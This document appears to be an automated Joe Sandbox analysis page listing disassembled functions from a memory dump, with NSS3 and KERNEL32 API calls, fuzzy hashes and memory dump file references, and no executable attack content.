Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&zl
API String ID: 704537481-1441331469
Opcode ID: ab40162550618d63a88d2e8980d46953b7f7e2ac8cb63a15bc7c9c5b108ca6f3
Instruction ID: 9e44bc4fe50a097dddedd5ef26edc470a4c0267e048e9ea0d6909afb05ea2730
Opcode Fuzzy Hash: ab40162550618d63a88d2e8980d46953b7f7e2ac8cb63a15bc7c9c5b108ca6f3
Instruction Fuzzy Hash: C0210671A05144DBFB109FA9DD48E9A3769AF45368F140634FD188BB02E730D955C7E1

Function 6C7CCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C7CCD93,?), ref: 6C7CCEEE

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C7CCD93,?), ref: 6C7CCEFC

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C7CCD93,?), ref: 6C7CCF0B

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C7CCD93,?), ref: 6C7CCF1D

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C7CCD93,?,?,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF78

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 626ae58bd187109ca9538e66e55b7db62b4ce89e852e1a3e30747bd4e9eac657
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 0D1175A6B002065FEB10AB6A7E59B6BB5EC9F5474EF044039EC09D7741FB60D908C6B3

Function 6C778C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C778C1B
EnterCriticalSection.KERNEL32 ref: 6C778C34
PL_ArenaAllocate.NSS3 ref: 6C778C65
PR_Unlock.NSS3 ref: 6C778C9C
PR_Unlock.NSS3 ref: 6C778CB6

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

Strings

KRAM, xrefs: 6C778C8F

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 5c0363795edd9bba36e97267541b9a1a6a386dfc0f5da7f1637e6e07f6947635
Instruction ID: bd83df5e56040f787f7eb717b39eb525569157a8219f2a84d83d3b5ee3847861
Opcode Fuzzy Hash: 5c0363795edd9bba36e97267541b9a1a6a386dfc0f5da7f1637e6e07f6947635
Instruction Fuzzy Hash: F42171B16056058FDB10AF78C588569BBF4FF05318F0589BAD888DB711EB35D885CBE2

Function 6C7F3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7F5B56

PR_EnterMonitor.NSS3(?), ref: 6C7F3E45

Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290AB
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290C9
Part of subcall function 6C829090: EnterCriticalSection.KERNEL32 ref: 6C8290E5
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829116
Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C82913F

PR_EnterMonitor.NSS3(?), ref: 6C7F3E5C
PR_EnterMonitor.NSS3(?), ref: 6C7F3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C7F3EA6

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_ExitMonitor.NSS3(?), ref: 6C7F3EC0
PR_ExitMonitor.NSS3(?), ref: 6C7F3ED7
PR_ExitMonitor.NSS3(?), ref: 6C7F3EEE

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 4fd4f4c19f0050d29761c02d351fb293ec321a13a0c1e9bcb5cdc16c4113faea
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: CB11B771550600ABEB319E2DFE46BC7B7A5DF40308F400C34E56986B22E636F82AC793

Function 6C872C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C872CA0
PR_ExitMonitor.NSS3 ref: 6C872CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C872CD1
strdup.MOZGLUE(?), ref: 6C872CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C872D27

Strings

Loaded library %s (static lib), xrefs: 6C872D22

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 57b28678a034d6295a8b39454e88d1438b467129ed14f79c50076eb848c7436b
Instruction ID: cfa16ab212c387801be49df79da980dff4b75f69914afad9c9bbb4cf8196769a
Opcode Fuzzy Hash: 57b28678a034d6295a8b39454e88d1438b467129ed14f79c50076eb848c7436b
Instruction Fuzzy Hash: 2811E6B1600204DFEB309F19DA48A6A77B4AB4531DF14883DE809C7B41E735E918CBE1

Function 6C76BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C76BDCA

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C76BDDB

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C76BDEC

Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C76BE03

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76BE3B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: de9c30d4f46286d400060ed47a146c496202463f13e8a41ebe7377674e66dc39
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: C701A7B9B412126BF61016676E09B57664C4F5278DF140034FE0496F82FB61E51992B7

Function 6C7F1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7F1C74

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C7F1C92
free.MOZGLUE(?), ref: 6C7F1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C7F1CCB
free.MOZGLUE(?), ref: 6C7F1CD2

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 2163572cf906a1c98394cac862ed119ecaa1fc38c5e9e1476df73a605e08ac75
Instruction ID: 3485866b6e6afb46415ed8481a125c09a278c490d1fc97e08c5967132983fcff
Opcode Fuzzy Hash: 2163572cf906a1c98394cac862ed119ecaa1fc38c5e9e1476df73a605e08ac75
Instruction Fuzzy Hash: 290196F1F112245FEE30AFA49E0DB493778670731CF101535E509A2F81D7659205C7E6

Function 6C802E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C803046

Part of subcall function 6C7EEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7EEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C7D7FFB), ref: 6C80312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C803154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C802E8B

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Part of subcall function 6C7EF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C7D9BFF,?,00000000,00000000), ref: 6C7EF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C7D7FFA), ref: 6C802EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C80317B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: d6a13a4ea30ab76a4e4592f4b880a65e0a1850019117b6bada4e9265bb22db0d
Instruction ID: ad2b4f1ad95c1ba8b27a25dbffaca0cb00ae910aa1ade062316fbc1dda85e429
Opcode Fuzzy Hash: d6a13a4ea30ab76a4e4592f4b880a65e0a1850019117b6bada4e9265bb22db0d
Instruction Fuzzy Hash: 3AA1CD71A002189FDB24CF54CC84BEAB7B5EF49308F048499ED4967741E775AD85CFA1

Function 6C7CED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C7CED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C7CEDCE

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

free.MOZGLUE(00000000,?,?,?,?,6C7CB04F), ref: 6C7CEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7CEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C7CEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C7CEEFB

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f06a2e14f6d1c000cf9a54379abf9154c90d54a2dea67e8c72be255033701853
Instruction ID: 985c0545ead28edc29de0bb09295de618cadaa4a28a3225811cfe647e2ced673
Opcode Fuzzy Hash: f06a2e14f6d1c000cf9a54379abf9154c90d54a2dea67e8c72be255033701853
Instruction Fuzzy Hash: E1817CB1B0020A9FEB14CF55DA86AAB77F9BF88348F144438E8159B751D730E854CBE2

Function 6C7CCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C7CDAE2,?), ref: 6C7CC6C2

PR_Now.NSS3 ref: 6C7CCD35

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

Part of subcall function 6C7B6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C3F

PR_GetCurrentThread.NSS3 ref: 6C7CCD54

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

Part of subcall function 6C7B7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C761CCC,00000000,00000000,?,?), ref: 6C7B729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7CCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C7CCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C7CCE2C

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C7CCE40

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

Part of subcall function 6C7CCEE0: PORT_ArenaMark_Util.NSS3(?,6C7CCD93,?), ref: 6C7CCEEE
Part of subcall function 6C7CCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C7CCD93,?), ref: 6C7CCEFC
Part of subcall function 6C7CCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C7CCD93,?), ref: 6C7CCF0B
Part of subcall function 6C7CCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C7CCD93,?), ref: 6C7CCF1D

Part of subcall function 6C7CCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF47
Part of subcall function 6C7CCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF67
Part of subcall function 6C7CCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C7CCD93,?,?,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF78

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2d63c83fb0f42067ef594099ed28a2c3c5acd05fa65e596e5b8cfc37d9884501
Instruction ID: 3408007d4333630f04242b66ab2c318ab156409ecc9c9cdeaf5ab2d7579c7ac1
Opcode Fuzzy Hash: 2d63c83fb0f42067ef594099ed28a2c3c5acd05fa65e596e5b8cfc37d9884501
Instruction Fuzzy Hash: DD51E3B6B001029FEB10EF69DE44BAA77F8EF49349F250534D844A7740EB31E905CB92

Function 6C79EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C79EF38

Part of subcall function 6C789520: PK11_IsLoggedIn.NSS3(00000000,?,6C7B379E,?,00000001,?), ref: 6C789542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C79EF53

Part of subcall function 6C7A4C20: TlsGetValue.KERNEL32 ref: 6C7A4C4C
Part of subcall function 6C7A4C20: EnterCriticalSection.KERNEL32(?), ref: 6C7A4C60
Part of subcall function 6C7A4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CA1
Part of subcall function 6C7A4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CBE
Part of subcall function 6C7A4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CD2
Part of subcall function 6C7A4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4D3A

PR_GetCurrentThread.NSS3 ref: 6C79EF9E

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

free.MOZGLUE(00000000), ref: 6C79EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79F016
free.MOZGLUE(00000000), ref: 6C79F022

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: ce6c84ff0dbbabe651d78178abad38307c9f4feac1b59c624dfa22527b88358e
